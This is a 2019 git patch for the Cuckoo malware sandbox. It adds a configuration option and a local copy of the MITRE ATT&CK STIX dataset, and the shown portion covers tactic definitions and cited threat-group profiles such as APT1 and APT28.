From e6f7e1f8963a0c35118980ba68c934276e2c574f Mon Sep 17 00:00:00 2001 From: DoomedRaven Date: Thu, 5 Sep 2019 16:16:20 +0200 Subject: [PATCH 1/2] with local json --- conf/reporting.conf | 2 + data/mitre_attack.json | 163839 ++++++++++++++++++++++++++++++ lib/cuckoo/common/abstracts.py | 17 +- requirements.txt | 2 +- 4 files changed, 163853 insertions(+), 7 deletions(-) create mode 100644 data/mitre_attack.json diff --git a/conf/reporting.conf b/conf/reporting.conf index ff89410b7..88c7a9c54 100644 --- a/conf/reporting.conf +++ b/conf/reporting.conf @@ -69,6 +69,8 @@ index = cuckoo [mitre] enabled = no +# https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json +local_file = data/mitre_attack.json [retention] enabled = no diff --git a/data/mitre_attack.json b/data/mitre_attack.json new file mode 100644 index 000000000..ff3a9c457 --- /dev/null +++ b/data/mitre_attack.json @@ -0,0 +1,163839 @@ +{ + "type": "bundle", + "id": "bundle--24c77e72-f42e-48e5-9f6c-5ddfc02e8399", + "spec_version": "2.0", + "objects": [ + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The adversary is trying to gather data of interest to their goal.\n\nCollection consists of techniques adversaries may use to gather information and the sources information is collected from that are relevant to following through on the adversary's objectives. Frequently, the next goal after collecting data is to steal (exfiltrate) the data. Common target sources include various drive types, browsers, audio, video, and email. Common collection methods include capturing screenshots and keyboard input.", + "type": "x-mitre-tactic", + "id": "x-mitre-tactic--d108ce10-2419-4cf9-a774-46161d6c6cfe", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Collection", + "external_references": [ + { + "external_id": "TA0009", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/tactics/TA0009" + } + ], + "x_mitre_shortname": "collection", + "modified": "2019-07-19T17:44:53.176Z", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The adversary is trying to communicate with compromised systems to control them.\n\nCommand and Control consists of techniques that adversaries may use to communicate with systems under their control within a victim network. Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. There are many ways an adversary can establish command and control with various levels of stealth depending on the victim\u2019s network structure and defenses.", + "type": "x-mitre-tactic", + "id": "x-mitre-tactic--f72804c5-f15a-449e-a5da-2eecd181f813", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Command and Control", + "external_references": [ + { + "external_id": "TA0011", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/tactics/TA0011" + } + ], + "x_mitre_shortname": "command-and-control", + "modified": "2019-07-19T17:45:30.644Z", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The adversary is trying to steal account names and passwords.\n\nCredential Access consists of techniques for stealing credentials like account names and passwords. Techniques used to get credentials include keylogging or credential dumping. Using legitimate credentials can give adversaries access to systems, make them harder to detect, and provide the opportunity to create more accounts to help achieve their goals.", + "type": "x-mitre-tactic", + "id": "x-mitre-tactic--2558fd61-8c75-4730-94c4-11926db2a263", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Credential Access", + "external_references": [ + { + "external_id": "TA0006", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/tactics/TA0006" + } + ], + "x_mitre_shortname": "credential-access", + "modified": "2019-07-19T17:43:41.967Z", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The adversary is trying to avoid being detected.\n\nDefense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics\u2019 techniques are cross-listed here when those techniques include the added benefit of subverting defenses. ", + "type": "x-mitre-tactic", + "id": "x-mitre-tactic--78b23412-0651-46d7-a540-170a1ce8bd5a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Defense Evasion", + "external_references": [ + { + "external_id": "TA0005", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/tactics/TA0005" + } + ], + "x_mitre_shortname": "defense-evasion", + "modified": "2019-07-19T17:43:23.473Z", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The adversary is trying to figure out your environment.\n\nDiscovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what\u2019s around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective. ", + "type": "x-mitre-tactic", + "id": "x-mitre-tactic--c17c5845-175e-4421-9713-829d0573dbc9", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Discovery", + "external_references": [ + { + "external_id": "TA0007", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/tactics/TA0007" + } + ], + "x_mitre_shortname": "discovery", + "modified": "2019-07-19T17:44:13.228Z", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The adversary is trying to run malicious code.\n\nExecution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery. ", + "type": "x-mitre-tactic", + "id": "x-mitre-tactic--4ca45d45-df4d-4613-8980-bac22d278fa5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Execution", + "external_references": [ + { + "external_id": "TA0002", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/tactics/TA0002" + } + ], + "x_mitre_shortname": "execution", + "modified": "2019-07-19T17:42:06.909Z", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The adversary is trying to steal data.\n\nExfiltration consists of techniques that adversaries may use to steal data from your network. Once they\u2019ve collected data, adversaries often package it to avoid detection while removing it. This can include compression and encryption. Techniques for getting data out of a target network typically include transferring it over their command and control channel or an alternate channel and may also include putting size limits on the transmission.", + "type": "x-mitre-tactic", + "id": "x-mitre-tactic--9a4e74ab-5008-408c-84bf-a10dfbc53462", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Exfiltration", + "external_references": [ + { + "external_id": "TA0010", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/tactics/TA0010" + } + ], + "x_mitre_shortname": "exfiltration", + "modified": "2019-07-19T17:45:12.806Z", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The adversary is trying to manipulate, interrupt, or destroy your systems and data.\n \nImpact consists of techniques that adversaries use to disrupt availability or compromise integrity by manipulating business and operational processes. Techniques used for impact can include destroying or tampering with data. In some cases, business processes can look fine, but may have been altered to benefit the adversaries\u2019 goals. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach.", + "type": "x-mitre-tactic", + "name": "Impact", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "x-mitre-tactic--5569339b-94c2-49ee-afb3-2222936582c8", + "external_references": [ + { + "external_id": "TA0040", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/tactics/TA0040" + } + ], + "x_mitre_shortname": "impact", + "modified": "2019-07-25T18:42:23.222Z", + "created": "2019-03-14T18:44:44.639Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The adversary is trying to get into your network.\n\nInitial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.", + "type": "x-mitre-tactic", + "id": "x-mitre-tactic--ffd5bcee-6e16-4dd2-8eca-7b3beedf33ca", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Initial Access", + "external_references": [ + { + "external_id": "TA0001", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/tactics/TA0001" + } + ], + "x_mitre_shortname": "initial-access", + "modified": "2019-07-19T17:41:41.425Z", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The adversary is trying to move through your environment.\n\nLateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier. ", + "type": "x-mitre-tactic", + "id": "x-mitre-tactic--7141578b-e50b-4dcc-bfa4-08a8dd689e9e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Lateral Movement", + "external_references": [ + { + "external_id": "TA0008", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/tactics/TA0008" + } + ], + "x_mitre_shortname": "lateral-movement", + "modified": "2019-07-19T17:44:36.953Z", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The adversary is trying to maintain their foothold.\n\nPersistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code. ", + "type": "x-mitre-tactic", + "id": "x-mitre-tactic--5bc1d813-693e-4823-9961-abf9af4b0e92", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Persistence", + "external_references": [ + { + "external_id": "TA0003", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/tactics/TA0003" + } + ], + "x_mitre_shortname": "persistence", + "modified": "2019-07-19T17:42:33.899Z", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The adversary is trying to gain higher-level permissions.\n\nPrivilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include: \n\u2022\tSYSTEM/root level\n\u2022\tlocal administrator\n\u2022\tuser account with admin-like access \n\u2022\tuser accounts with access to specific system or perform specific function\nThese techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context. ", + "type": "x-mitre-tactic", + "id": "x-mitre-tactic--5e29b093-294e-49e9-a803-dab3d73b77dd", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Privilege Escalation", + "external_references": [ + { + "external_id": "TA0004", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/tactics/TA0004" + } + ], + "x_mitre_shortname": "privilege-escalation", + "modified": "2019-07-19T17:43:00.594Z", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "modified": "2017-06-01T00:00:00.000Z", + "type": "identity", + "identity_class": "organization", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "The MITRE Corporation", + "id": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-06-01T00:00:00.000Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "APT1", + "description": "[APT1](https://attack.mitre.org/groups/G0006) is a Chinese threat group that has been attributed to the 2nd Bureau of the People\u2019s Liberation Army (PLA) General Staff Department\u2019s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)", + "type": "intrusion-set", + "aliases": [ + "APT1", + "Comment Crew", + "Comment Group", + "Comment Panda" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "external_references": [ + { + "external_id": "G0006", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0006" + }, + { + "source_name": "APT1", + "description": "(Citation: Mandiant APT1)" + }, + { + "source_name": "Comment Crew", + "description": "(Citation: Mandiant APT1)" + }, + { + "source_name": "Comment Group", + "description": "(Citation: Mandiant APT1)" + }, + { + "source_name": "Comment Panda", + "description": "(Citation: CrowdStrike Putter Panda)" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2019-03-22T12:40:51.341Z", + "x_mitre_version": "1.1", + "created": "2017-05-31T21:31:47.955Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "APT12", + "description": "[APT12](https://attack.mitre.org/groups/G0005) is a threat group that has been attributed to China. The group has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments.(Citation: Meyers Numbered Panda)", + "type": "intrusion-set", + "aliases": [ + "APT12", + "IXESHE", + "DynCalc", + "Numbered Panda", + "DNSCALC" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb", + "external_references": [ + { + "external_id": "G0005", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0005" + }, + { + "source_name": "APT12", + "description": "(Citation: Meyers Numbered Panda) (Citation: Moran 2014)" + }, + { + "source_name": "IXESHE", + "description": "(Citation: Meyers Numbered Panda) (Citation: Moran 2014)" + }, + { + "source_name": "DynCalc", + "description": "(Citation: Meyers Numbered Panda) (Citation: Moran 2014)" + }, + { + "source_name": "Numbered Panda", + "description": "(Citation: Meyers Numbered Panda)" + }, + { + "source_name": "DNSCALC", + "description": "(Citation: Moran 2014)" + }, + { + "source_name": "Meyers Numbered Panda", + "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.", + "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/" + }, + { + "source_name": "Moran 2014", + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + } + ], + "modified": "2019-06-10T19:28:00.749Z", + "x_mitre_version": "2.0", + "created": "2017-05-31T21:31:47.537Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "APT16", + "description": "[APT16](https://attack.mitre.org/groups/G0023) is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)", + "type": "intrusion-set", + "aliases": [ + "APT16" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70", + "external_references": [ + { + "external_id": "G0023", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0023" + }, + { + "source_name": "APT16", + "description": "(Citation: FireEye EPS Awakens Part 2)" + }, + { + "source_name": "FireEye EPS Awakens Part 2", + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ], + "modified": "2019-03-22T14:20:45.561Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:31:56.270Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "APT17", + "description": "[APT17](https://attack.mitre.org/groups/G0025) is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)", + "type": "intrusion-set", + "aliases": [ + "APT17", + "Deputy Dog" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae", + "external_references": [ + { + "external_id": "G0025", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0025" + }, + { + "source_name": "APT17", + "description": "(Citation: FireEye APT17)" + }, + { + "source_name": "Deputy Dog", + "description": "(Citation: FireEye APT17)" + }, + { + "source_name": "FireEye APT17", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ], + "modified": "2019-03-22T14:21:19.419Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:31:57.307Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "APT18", + "description": "[APT18](https://attack.mitre.org/groups/G0026) is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)", + "type": "intrusion-set", + "aliases": [ + "APT18", + "TG-0416", + "Dynamite Panda", + "Threat Group-0416" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "external_references": [ + { + "external_id": "G0026", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0026" + }, + { + "source_name": "APT18", + "description": "(Citation: ThreatStream Evasion Analysis)(Citation: Anomali Evasive Maneuvers July 2015)" + }, + { + "source_name": "TG-0416", + "description": "(Citation: ThreatStream Evasion Analysis)(Citation: Anomali Evasive Maneuvers July 2015)" + }, + { + "source_name": "Dynamite Panda", + "description": "(Citation: ThreatStream Evasion Analysis)(Citation: Anomali Evasive Maneuvers July 2015)" + }, + { + "source_name": "Threat Group-0416", + "description": "(Citation: ThreatStream Evasion Analysis)" + }, + { + "source_name": "Dell Lateral Movement", + "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + }, + { + "source_name": "ThreatStream Evasion Analysis", + "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.", + "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + }, + { + "source_name": "Anomali Evasive Maneuvers July 2015", + "description": "Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018.", + "url": "https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + } + ], + "modified": "2019-05-30T18:05:32.461Z", + "x_mitre_version": "2.0", + "created": "2017-05-31T21:31:57.733Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT19](https://attack.mitre.org/groups/G0073) is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. (Citation: FireEye APT19) Some analysts track [APT19](https://attack.mitre.org/groups/G0073) and [Deep Panda](https://attack.mitre.org/groups/G0009) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016) (Citation: FireEye APT Groups) (Citation: Unit 42 C0d0so0 Jan 2016)", + "aliases": [ + "APT19", + "Codoso", + "C0d0so0", + "Codoso Team", + "Sunshop Group" + ], + "id": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "external_references": [ + { + "external_id": "G0073", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0073" + }, + { + "source_name": "APT19", + "description": "(Citation: FireEye APT19)" + }, + { + "source_name": "Codoso", + "description": "(Citation: Unit 42 C0d0so0 Jan 2016)" + }, + { + "source_name": "C0d0so0", + "description": "(Citation: Unit 42 C0d0so0 Jan 2016)" + }, + { + "source_name": "Codoso Team", + "description": "(Citation: FireEye APT Groups)" + }, + { + "source_name": "Sunshop Group", + "description": "(Citation: Dark Reading Codoso Feb 2015)" + }, + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + }, + { + "source_name": "ICIT China's Espionage Jul 2016", + "description": "Scott, J. and Spaniel, D. (2016, July 28). ICIT Brief - China\u2019s Espionage Dynasty: Economic Death by a Thousand Cuts. Retrieved June 7, 2018.", + "url": "https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/" + }, + { + "source_name": "FireEye APT Groups", + "description": "FireEye. (n.d.). Advanced Persistent Threat Groups. Retrieved August 3, 2018.", + "url": "https://www.fireeye.com/current-threats/apt-groups.html#apt19" + }, + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + }, + { + "source_name": "Dark Reading Codoso Feb 2015", + "description": "Chickowski, E. (2015, February 10). Chinese Hacking Group Codoso Team Uses Forbes.com As Watering Hole. Retrieved September 13, 2018.", + "url": "https://www.darkreading.com/attacks-breaches/chinese-hacking-group-codoso-team-uses-forbescom-as-watering-hole-/d/d-id/1319059" + } + ], + "x_mitre_version": "1.1", + "modified": "2019-04-25T11:39:51.802Z", + "type": "intrusion-set", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "APT19", + "x_mitre_contributors": [ + "FS-ISAC", + "Darren Spruell" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment. This group reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. [APT28](https://attack.mitre.org/groups/G0007) has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019)", + "aliases": [ + "APT28", + "SNAKEMACKEREL", + "Swallowtail", + "Group 74", + "Sednit", + "Sofacy", + "Pawn Storm", + "Fancy Bear", + "STRONTIUM", + "Tsar Team", + "Threat Group-4127", + "TG-4127" + ], + "id": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "external_references": [ + { + "external_id": "G0007", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0007" + }, + { + "source_name": "APT28", + "description": "(Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)" + }, + { + "source_name": "SNAKEMACKEREL", + "description": "(Citation: Accenture SNAKEMACKEREL Nov 2018)" + }, + { + "source_name": "Swallowtail", + "description": "(Citation: Symantec APT28 Oct 2018)" + }, + { + "source_name": "Group 74", + "description": "(Citation: Talos Seduploader Oct 2017)" + }, + { + "source_name": "Sednit", + "description": "This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT. (Citation: FireEye APT28 January 2017) (Citation: SecureWorks TG-4127) (Citation: Kaspersky Sofacy) (Citation: Ars Technica GRU indictment Jul 2018)" + }, + { + "source_name": "Sofacy", + "description": "This designation has been used in reporting both to refer to the threat group and its associated malware. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)" + }, + { + "source_name": "Pawn Storm", + "description": "(Citation: SecureWorks TG-4127) (Citation: ESET Sednit Part 3)" + }, + { + "source_name": "Fancy Bear", + "description": "(Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)" + }, + { + "source_name": "STRONTIUM", + "description": "(Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3)" + }, + { + "source_name": "Tsar Team", + "description": "(Citation: ESET Sednit Part 3)(Citation: Talos Seduploader Oct 2017)(Citation: Talos Seduploader Oct 2017)" + }, + { + "source_name": "Threat Group-4127", + "description": "(Citation: SecureWorks TG-4127)" + }, + { + "source_name": "TG-4127", + "description": "(Citation: SecureWorks TG-4127)" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + }, + { + "source_name": "Ars Technica GRU indictment Jul 2018", + "description": "Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018.", + "url": "https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/" + }, + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + }, + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "SecureWorks TG-4127", + "description": "SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016.", + "url": "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign" + }, + { + "source_name": "FireEye APT28 January 2017", + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" + }, + { + "source_name": "GRIZZLY STEPPE JAR", + "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.", + "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf" + }, + { + "source_name": "Sofacy DealersChoice", + "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/" + }, + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "Symantec APT28 Oct 2018", + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 